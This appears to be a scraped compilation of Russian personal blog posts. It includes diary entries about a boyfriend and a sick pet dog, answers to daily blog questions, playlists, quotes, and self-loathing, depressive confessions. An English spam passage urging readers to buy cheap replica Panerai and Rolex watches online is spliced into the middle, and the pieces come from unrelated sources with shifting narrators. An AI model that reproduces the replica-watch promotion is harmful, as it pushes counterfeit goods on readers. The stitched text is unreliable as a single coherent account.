Я ужасно соскучилась по вьюше и захотелось написать именно сюда, хотя сейчас все мысли и наброски я делаю в tumblr, так как это удобно делать с телефона и не надо заморачиваться по поводу респектабельности моих постов. Но скоро Новый Год, а точнее 45 дней до этого чудесного праздника. Сегодня я проснулась и наконец-то у нас выпал снег, не знаю, правда, сколько он пролежит, но тем ни менее это подняло настроение. Еще я думаю причиной моего хорошего настроения стало то, что я встала сегодня раньше обычного. С подъемом у меня огромные проблемы, особенно в субботу. Я не знаю какая сила меня заставляет в этот день все таки поднять свой ленивый и бесполезный организм, но я это делаю. Вообще вставать с утра пораньше, примерно за 3-4 часа до работы - это чудесно. Есть время принять спокойно душ, выпить кружечку чая, понежить на диване с книжкой Ф. Достоевского, достойно накраситься, точно подобрать, что лучше было бы одеть в этот день и легким шагом пойти на работу. А работу с некоторых пор я стала ненавидеть. Есть много разных нюансов, но самый основной - это ощуение собственной бесполезности. Все знают о падении самолета в Египте, мне очень жаль этих людей, они этого не заслужили. Но от этого пострадали и мы. Теперь агентства не могут найти туристов, которые захотят полететь в самолете со смертником в Египет, все остальные страны слишком дорого, учитываю как сильно возрос курс. И на этой почве во всей стране люди страдают депрессией. Увеличились количество грабежей, нападений, убийств и многих ужасных вещей. Становится страшно. И в последнее время я часто вспоминаю сон фараона, который истолковал Иосиф про 7 лет изобилия и 7 лет засухи. Меня пугает мысль, что 7 лет изобилия прошли, а я ничего не достигла, теперь же шансов вообще нет. Но это все моя депрессивная фантазия. Это обычный кризис, к тому прилагается осенняя деперссия, но наступит зима, люди станут счастливее, и "засуха" пройдет. Люди выберутся из кризиса и найдут другие пути для приобретения желаемого. А на самом деле я еще пробую совет одной журналистки, которая советует начинать свой рабочий день с чего-нибудь приятного, например написать в блог.

В данный период моей жизни рядом с тобой я чувстствую себя котом, одуревшим от валерьянки. Хочется сохранить тот самый взгляд, который вчера я целый день ощущала на себе.

When you choose rolex replica watches, one of the best choices you should not miss are Panerai replicas. Because of prestige of the brand, replica Panerai watches have been available in many replica watch stores or websites. Every time I look for replica watches, I could see replica Panerai. Of course, I have owned several fashionable Panerai replica watches. Every Panerai watch is the product of high-end techniques, innovations and long-time serious experiment. I’m very dreamed about owing the designer Panerai watches. But the reality has proved that I own the imitations. I love the brand. So, I love Panerai watches. However, I could not afford the Panerai watches. So, I looked for the duplicates.

I’m a sincere Panerai fan. If you are also the Panerai watch enthusiast and unfortunately could not afford the genuine pieces, you can also choose the replicas. The benefit of buying replica Panerai watches is economical. You can own a Panerai replica watch with a small fraction of money. Compared with the real watch, the replica model really save you a lot of money. The best place to buy cheap replica Panerai watches is on the internet. You can find many websites offering good quality and well-made watches. These Panerai replica watches are generally classified into the same collections with the designer ones. They have women, men and unisex models. They are available in different colors and sizes.

On a watch site, you need to choose yourself factors. Immediately, a lot of Panerai replica watches that meet your requirements will be listed. Panerai Contemporary and Limited Edition are your choices for fashionable and luxury timepieces. The Historic offers you vintage omega replica watches, which are usually collectable pieces. They wait for your choice further. Obviously, it is quite convenient. Spending a small fraction of money, you can own popular and luxury Panerai watches. It is very worthwhile.

хм, как раз недавно чистила свой плейлист. И есть у меня песни в конце плейлиста, которые я никогда не удаляю. Вот эта самая последняя песня

Mac Miller – Best Day Ever
Я до сих пор помню, как мне Леха, лет 5 назад, скидывал видео с Мак Миллером. А потом мы чет сидели на лавочке и слушали Мак Миллера летом.
День 267: Когда у Вас плохой день, как Вы с этим справляетесь?
Мне нужно обязательно лечь. Я лежу всегда, когда мне плохо. И из-за этого часто засыпаю.
Еще я люблю включать какой-нибудь мультик, всегда легче становится.
Или просто включить громко музыку
День 268: Слова, которыми Вы злоупотребляете (слова-паразиты). жеееесть
вот
сука блять
День 269: Что у Вас похожего с остальными пользователями? А что отличает Вас от них?
терпеть такие вопросы не могу
День 270: Дом вашей мечты
я не мечтаю о доме каком-либо. Мне б сейчас хоть однушку стремную, лишь бы ближе к универу жить

и каждый ебаный день в этом зиккурате пролитых слез
вавилонской башне мертвых идей
от которых череда одних черных полос
колизей нереализованных грез
в клубе одиноких сердец
как я тебя заебался ждать и нашел
моя девочка пиздец

Вк потерял для меня окончательный смысл, когда главным в моей жизни стал тот, кого ждала, ради кого постоянно была онлайн. Хотя кое-что не имзенилось: утром я захожу вк, чтобы посмотреть, проснулся ли Китти, а после его ухода от меня- спросить, как доехал, покидать каких-нибудь видюшек/новостей, пожелать друг другу спокойной ночи и выйти из вк. Нет, есть те, с кем я списываюсь, но в десятки раз реже, чем раньше. И то отвечаю, когда в нормальном расположении духа, чтобы не огорчать собеседника. Со временем обшение в соц.сетях стало для меня бессмысленным, "мёртвым".

Она мне дала понять одну важную вещь. Если понимаешь, что человек тебе подходит, родственная душа, неважно-день, неделю или месяц вы знаете друг друга, нужно хватать на плечо и увозить на край света. Гулять до утра. Смотреть закаты, встречать рассветы, ужинать при свечах, делать предложение и быть счастливыми. Да, быть может в будущем все будет плохо, но в настоящем должно быть все прекрасно. В. Прах "Семь дней"

Встала чуть позже 12, хотя планировала намного раньше. Оказывается, Милану никто не выгулил, мопса ждала меня. Пошли погуляли, совсем недолго, т.к надвигался дождь. За минут 10, что гуляли- успела замёрзнуть, хотя тепло оделась. Пршила домой, принялась ждать, пока Китти проснётся, чтобы определиться с планами на день, которые уже имелись, но неточные в плане времени. . Сегодня мы должны были поехать за мои браслетом с Микки Маусом от Tiffany, но прежде Китти должен был сходить записаться к зубному. Как обычно, всё пошло не по плану: Китти долго не мог уснуть, поздно встал, врач уже не работал; продавец группы вывел меня настолько, что я решила не покупать там браслет, а я просто безумно его хочу и, кроме того, позвонить в налоговую и сказать, чтобы их проверили. Я не потерплю: грубости, неуважения, вранья, тупости (сообщения были без знаков припинания, в каждом слове ошибка, сокращения наподобие "сег"- сегодня). Меня вывели из себя так, что мой ноут чуть не полетел в стену. Я это так не оставлю. Не в этот раз. Набрала Китти, всё рассказала. Попутно наругался на меня за то, что мне похер на своё здоровье, что сильная головная боль второй день подряд- это совсем ненормально. Что касательно браслета- сразу сказал, чтобы я не покупала в том месте браслет. Но в другом я не нашла.. Облазила кучу сайтов. И нашла ему временную замену.. Возможно, завтра смогу его купить, покажу. Договорились, что Китти выйдет из ванны, наберёт. Я пока сходила в душ, как раз позвонил Китти. Он шёл по улице:

-Куда ты идёшь?

-Зайду к Х. Может, на турники сходим. Дома какой-то дурдом происходит, не могу, - рассказал в чём дело. Обойдёмся без подробностей, но дело касается братьев и мамы, отношений между всеми, потаканий именно одному.

Я давненько не слышала Китти таким расстроенным из-за семейных проблем:

-Жил бы отдельно, с тобой, забрал бы к себе Федю, готовил бы ему нормальную еду, возил в школу, забирал, - я это представила. И знаете что? Это было бы очень здорово.. Я мечтаю жить с Китти, а теперь ещё и с братом иногда, ведь он меня очень любит и с ним было бы намного веселее. Федя очень хороший, добрый мальчик. В отличии от Миши..

Договорили, Китти сказал, что позже наберёт. Я пока пошла заварить себе кофе. Точнее, наполовину мне его сделала мама, в турке. Я бросаю пить кофе в пакетиках, перехожу на натуральный. Перезванивает Китти, сообщает, что Х плохо, никуда не пойдёт. Так что Китти едет ко мне. Позвала мама, сказала, что когда приезжали её навестить в больницу (пошли в пиццерию), она всё не могла налюбоваться Китти. Сказала в миллионный раз, что он очень хороший мальчик и она от него в восторге. Тут и Китти приехал. Увидел, что у меня новые тапочки с мишками Me to You:

-О, какие классные! Пожалуйста, можно я их надену? Хоть раз принцем себя почувствую, - пришлось отдать.)

Затем мой принц в тапочках с мишками начал звонить бабушке насчёт семейной проблемы. Решали, что делать. Несмотря на всё, что было, есть- Китти любит своих братьев и готов на всё ради них ценой своего счастья, комфорта. Особенно ради Феди. Даже в частности ради Феди. Ну а бабушка, конечно, такое предложила… ;))) ) В итоге сказала, что сейчас поедет к ним домой, постарается всё решить. Китти договорил, я предлагаю ему покушать:

-Не хочу, правда.

-Ну я без тебя не буду кушать.. Между прочим, ждала тебя, не кушала. Целый день.

-Хватит уже! Что это такое? Не ест она без меня. Ааа, я понял: ты просто хочешь, чтобы я раньше к тебе приезжал. А если бы я вечером приехал? Не ела бы до вечера? Или вообще не смог? Тогда бы голодная ходила? Прекращай.

Даже мама не смогла уговорить Китти покушать, так пришлось хомячить одной овощной супчик. Доела, Китти:

-А можешь мне супчика налить? Ты его так аппетитно кушала, - и весь такой мими.

Налила, сама приступила к уборке украшений. Наткнулась на коробочку украшений, брелков на телефон, которые ждут своей починки уже хрен знает сколько лет. Кого только не просила, все отказывали, говорили "потом". Но не в этот раз:

-Я ненавижу возиться с маленькими деталями и вообще меня бесит это делать, но ради тебя я это делаю. Чтобы ты осталась довольна.

Китти починил мне оочень много украшений..) Я его этим конкретно задобала..) Китти играл, я убиралась, постоянно всё откладывая, подходя к Милане, обнимая, любуясь ей. Плакала.. Китти успокаивал, пародировал нашего ветеринара:

-Ну девочка моя! Ну что ты плачешь? Всё же будет хорошо! Ну девочка моя!, - на время становилось легче..

Зашла мама, что-то сказала про еду. Я на свою голову ляпнула, что сбросила 5 кг:

-5! Даша, ты что!

Китти:

-Всё, будем усердно набирать потерянные 5 кг!, - кажется, против меня готовится заговор..

Наконец, доубиралась, Китти доиграл, начали смотреть "Гладиатор", который хотели посмотреть далеко не первый день. Этот фильм высше всех похвал. Он идеальный, шикарный, божественный! Побольше бы таких фильмов. Очень люблю исторический жанр. На середине фильма остановили просмотр, пошли за ужином. Китти сделал салат, наложил мне намного больше картошки, чем я хотела со словами:

-Ты у меня всё съешь.

Разумеется, даже при желании я бы столько не съела. Однако Китти начал меня кормить. Но мне стало плохо, тошнило, сказала, что больше есть не могу да и картошка отвратительная, совсем неудачную купили. Китти это остановило, но не до конца.

-Тогда салат доедай, - и начал кормить меня с вилочки.. Как и всегда.. И ведь какие-либо возражения бесполезны. Китти у меня больной. В другой раз может вообще привязать и насильно кормить.))

-Завтра я буду любить тебя больше, чем сегодня.

-А я думала, ты меня максимально любишь..

-Наша любовь безгранична.

Этот вечер Милаша проводила с родителями, периодически прибегая к нам..

Милашкин смотрит на дверь и ждёт, когда мы пойдём гулять.

Не отпускай мою руку. Никогда..

Вот о чем мой страх: я утратил нечто важное, и я не могу обрести это снова, хотя оно мне очень нужно. Это все равно как если потеряешь очки, пойдешь в оптику, а тебе там скажут — во всем свете очков больше нет, придется тебе как-то жить без них. Джон Грин "В поисках Аляски"

Я ощущаю себя жалкой даже сейчас, потому что блог, единственное место в которое я могу написать все, что чувствую.

Я ненавижу ныть и нытье. Я ненавижу жалость. Я ненавижу грузиться и плакать. Сейчас я состою из всех своих ненавижу.
Я потеряла Ваню. Потеряла, потому что сама же этого захотела. Я прошла с ним через все. Я была его лучшим другом, я была самым близким человеком, а он был моим. Я наступила на свою гордость и призналась в любви. И в конечном счете, когда он был рядом и поддерживал меня, я от него отказалась.
Я потеряла Стаса. Человека, которого безмерно уважала и ценила. Но я оказалась недостаточно хорошей, что бы ценить наши отношения до конца. Дружеские отношения.
Я потеряла лучшую подругу, потому что я отвратительный друг. Друг, который не смог во время остановиться и задуматься обо всем.

Да, рядом есть люди. Но это люди, с которыми я могу погулять, выпить, отдохнуть, пообщаться.
Но нет человека, который понял бы, выслушал бы.
Хотя я сама этого не позволяю. Я боюсь. Я боюсь, что стоит мне снова довериться, моя доверчивость обернется против меня.
Я слишком наивная, слишком глупая, слишком эмоциональная, я везде слишком.

Я не хочу так больше. Совсем.
Я не хочу больше так наивно верить в людей. Просто больше не хочу.
Руки опять трясутся, не знаю, как закончу сегодня работать и закрою кассу.
Просто ненавижу себя и свою наивность. Как стать циником? Как перестать быть такой сверх эмоциональной?

Мне больно. Я не могу успокоиться, собраться. То более-менее приду в себя, то снова потоп из слёз. Китти постоянно поддерживает, говорит, что всё будет хорошо. Но мне так страшно.. Милана совсем маленький, складчато-хрупенький ангелочек. За свои 7 лет ей пришлось пережить уже 2 операции. Во вторник будет третья. И дай Бог, чтобы опухоль в молочных железах осталась доброкачественной. Мне так страшно. Я не знаю, как жить эти дни. Это самое настоящее мучение. А наш ангелочек всё чувствует.. Постоянно рядом и так смотрит в глаза..Господи, умоляю, пусть всё будет хорошо и во вторник будет последняя операция, болячка у нашего ангела. Умоляю.

Мне сейчас очень сложно что-либо рассказывать, поскольку мои мысли далеко-далеко, нахожусь в какой-то затуманенной прострации из-за предстоящей Миланиной операции.. Расскажу вкратце.

В часа 3 позвони Китти. Нужно было съездить за браслетом, но на улице лил сильнеший ливень, погода была мерзкая, настроение ещё хуже. Решили поездку перенести на завтра. После чего Китти сказал, что сейчас, возможно зайдёт к товарищу на часик, после ко мне. Ну или сразу ко мне. Я смотрела "Однажды в сказке", ждала Китти. Буквально через 45 минут перезванивает Китти:

-Я в магазине, какое ты мороженое хотела?, - а я накануне писала ему, что безумно хочу мороженое и шоколад, аж умираю. Врачи сказали, что шоколад у меня как-то сентизируется в витамины, мне его нужно кушать. А я его давно не ела.. Явная нехватка глюкозы. Сказала, чтобы Китти не покупал, должен купить папенька. Не хотела, чтобы он тратил последние деньги, что у него есть.

Буквально через 10 минут звонок в домофон, Китти радостный улыбается, что-то держит за спиной. Заходим в квартиру, он мне вручает Кит Кат и сок с "Корпорацией монстров", в которых идут брелки на телефон, наклейки. Возможно, многим не понять, ведь это не 101 роза))) . Но я была очень стастлива. Ведь суть в том, что во-первых, Китти захотел исполнить моё желание касательно сладкого, от которого я сходила с ума ночью; во-вторых, он потратил последние деньги, чтобы меня порадовать; в-третьих, он обошёл 3 магазина под дождём, чтобы купить сок именно с "Корпорацией монсров". Всё решают поступки. А мой любимый человек решил меня порадовать, как только мог. И у него это получилось. А сколько радости и предвкушения было как у меня, так и у Китти, когда открывали яйцо с сюрпризом! Он самый лучший и замечательный человек. Мой человек. Мамочка сразу подогрела нам покушать, положила мне сосиску (родители думают, что я иногда ем курицу, сосиски..). Китти не особо был голоден. Мою сосиску есть отказывался.

-Ладно, не ешь. Я тогда положу в пакетик, а ты оставишь котикам, когда будешь уходить, - не могла скинуть в окно, потому что шёл большой дождь.

-Я не хочу врать своей будущей тёще!

-Придётся. В этом вопросе.

После трапезы мы принялись смотреть Матрицу. Да, да, я тот человек, который смотрел только первую часть и мне очень стыдно за это.) Разумеется, фильм бесподобен, ломает мозг. Во время просмотра пару раз отрубалась, колотило.. Папенька собирался в магазин, я написала небольшой список того, что мне нужно. Сказал, купит, если унесёт. Китти:

-Скажи папе, пусть позвонит, я его встречу, помогу донести пакеты.

-Хорошо.

-Ну иди скажи, - спасибо, мой самый заботливый мальчик на свете.

Весь вечер Милаша от нас не отходила, а мы постоянно проявляли к ней внимание, я, в свою очередь, еле сдерживалась от слёз..


Радости в мелочах.

А что это у нас там Китти кушает?)

День 190: Перемешайте песни в Вашем плей-листе и напишите первые десять. Как Вы узнали об этой музыке?

Emancipator – Natural Cause - эмансипэтор я стала слушать в классе 9…я услышала его в гостях у знакомой…
стиль этой музыки - chilout

fLako
– Mating Dance - из группы соц.сети вк "liquid & glitch "
стиль музыки - инструментальный хип-хоп

Mylene Farmer – Sans Contrefaction - с этой дамочкой у меня много воспоминаний из детства.моя мама очень любила ее слушать когда мы жили еще в коммуналке на черной речке.просто я привыкла ее слушать на тот момент и она въелась в моем сознании…ну как въелась, просто я к ней привыкла.
я полюбила ее в классе 5…просто поставила в муз.центре и стала слушать… несколько песен в ее исполнении стали моими любимыми песнями.
жанр - трип-хоп

Plan B – I Am The Narrator (OST Ill Manors) - 3 года назад я не имела представления о каком либо зарубежном рэп исполнителе… на сегодняшний день "план би" один из самых шедевральных радостей, который я обязательно буду слушать в своем плей-листе в плеере…при поездке куда либо.
жанр - рэп

ОУ74 – На проводе - друг сподвиг на прослушивание их треков.с недавнего времени фавориты.хотела уж было собраться на их концерт, итог:проебала билет…я лольная.жанр:хип-хоп, русский рэп

многоточие - тень…знаю много треков наизусть…благодаря братишке.(слушал их с 2005-2007) а я соответственно помешалась на них так как ставил на том самом муз.центре и врубал на запред.громкость…
жанр: рэп

Иезекиль 25/17 – В городе где нет метро - ну все началось с одного трека, у кого-то услышала в наушниках "плюшевая", ну исполнял ее "Бледный"…эмм…вот и как бы именно тогда я послушала их в гугле, ну и…как-то…понравились.в плеере 11 песен.
жанр: рэп

Emily Underhill – Snow - из группы соц.сети вк "liquid & glitch"стиль музыки:chilout

Jay-Z & Kanye West – Gotta Have it - друг скинул из соц сети…поклонницей джей зи или канье уэста никогда не была.
жанр:хип-хоп

Thom Yorke – Analyse (Acoustic XFM) - тоже кто-то прислал.под нее хорошо засыпать

Фу, это так отвратительно. Мерзко и ужасно. То, что я сделала. Я чувствую к себе жалость, а я это больше всего ненавижу и от этого, сотворила то, чего боялась. Я просто не знаю, что творится с моей головой, но понимаю, что мне надо лечиться. Мне не помогает даже валерианка. Просто я днище. Не достойное ничего хорошего в этом мире. Ни друзей, ни любви, ни семьи. Ничего.

И просто немного грусти на ночь. Он умер три года назад. Я каждый раз убеждаюсь, что небеса забирают замечательных людей.

Общаюсь с другом бывшего парня. И собственно друг у него тоже бывший. Вот никогда не ожидала что буду поддерживать с ним связь. Люблю людей с которыми можно посмеяться, не строить из себя леди и вообще ничего не строить. Спокойно шутки пошутить, в чем-то спросить совет. Кентуха братуха :) И кстати даже не знаю встретимся ли мы как-нибудь еще лично, ну думаю в жизни всякое бывает. Вот так, от парня остался бонус - друг. И, кстати, общаясь с другом всплывают моменты что парня своего я не знала со многих сторон. С тобой он один, а в других ситуациях совсем другой. Снова убеждаю себя, что все худшее к лучшему.

Меня вообще, на самом деле, легко зацепить фильмом. Я ржу над тупыми комедиями. Мне нравится то, от чего все плюются. Я не скрываю этого, уж такая я есть. Но здесь.. Меня впечатлил этот фильм. На часах полтретьего ночи, а я реву, как белуга. Нет, я рёва карёва, реву всегда, когда происходит что-то милое, или что-то грустное.. но тут.. этот фильм великолепен. он меня захватил, и я не могла пошевелиться, пока смотрела его. Я ревела, я переживала, я смотрела с открытым ртом.

Я так устал от боли, которую слышу и чувствую, босс. Я устал от дорог, устал быть один, как воробей под дождем. Устал от того, что никогда ни с кем мне не разделить компанию и не сказать, куда и зачем мы идем. Я устал от ненависти людей друг к другу. Она похожа на осколки стекла в мозгу. Я устал от того, что столько раз хотел помочь и не мог. Я устал от темноты. Но больше всего от боли. Ее слишком много. Если бы я мог сам со всем покончить!

Они помогли ему убить себя. И так происходит каждый день во всём мире.

Мое имя Джон Коффи. Как напиток, только пишется по-другому.

День 189: Список того, что Вы в себе любите и что делает Вас уникальным.
я влюбленна в свои духовные качества.внешне я себе не нравлюсь абсолютно.

уникальна я могу быть только иногда.
проще сказать почти никогда не бываю уникальна.
если и да, то это - в каких либо идеях/вкусах, в усидчивости, в коммуникабельности…в остальном не чем не отличаюсь от других…за это не стыдно не обидно…я не знаю просто что делать в таких ситлуациях…как выйти из стада

День 188: Что Вы всегда носите с собой?

  • что нибудь попить
  • ключи
  • конспекты
  • наушники
  • парфюм
  • кошелек
  • косметичку
  • расческу
  • прокладки, влаж.салфетки, крем для рук

День 187: Ваше фото, сделанное сегодня и пять фактов о Вас.

1) не разу в жизни не сидела на диете.я люблю поесть.причем очень даже люблю и не привередлива к еде.
2) хожу на курсы массажа.
3) набрала вес.весила в начале сентября 52.сейчас 55,9
4) наблюдаю за людьми.вижу все.обсуждаю их мысленно.наедине с собой.
5) имею 6 видов туалетной воды.считаю что от того как пахнет девушка, зависит ее "вечер"и"завтра"(как и с кем она будет находится, где)

Мне нравится этот мир

Где абсолютно стерты рамки и понятия.Где тебе друг тот, кого ты знаешь всего пару часов. Где все продается и все покупается. Мир, где два часа ночи-это не повод для сна.

Все исказилось, словно в комнате смеха.

На своем жизненном пути мы попадаем во многие неприятные ситуации, которые нельзя изменить. Пред нами стоит выбор . Мы можем или принять эти ситуации как неизбежные и приспособиться к ним, или погубить свою жизнь, протестуя против неизбежного, и, возможно, довести себя до нервного срыва.

Дейл Карнеги. Как перестать беспокоиться и начать жить

gifs- weheartit

Люди не меняются. Меняются маски, причёски, стили поведения. А люди - люди остаются тем же дерьмом, что и были.

я просто не умею быть одна.и не хочу уметь быть одна.но в то же время.

периодичность которая мелькает между количеством тех людей которым я нравилась, с которыми я просто общалась, была ли близка…она не то чтобы огромна…она имеет характер ущербности.у меня почти нет друзей по одной простой причине…я говорю много правды, я вроде бы и не обладаю высоким интеллектом…но больно остроумна и невзъебенно потрачена, (в том плане хотя бы,
что, дарила себя не тем кто заслуживает меня).

многие говорят, что если бы могли вернуться в прошлое, то ничего бы не изменили…я бы изменила- я бы больше времени уделяла делу своей жизни- танцу,. .только вот подвох в том, что и сейчас я танцую слишком мало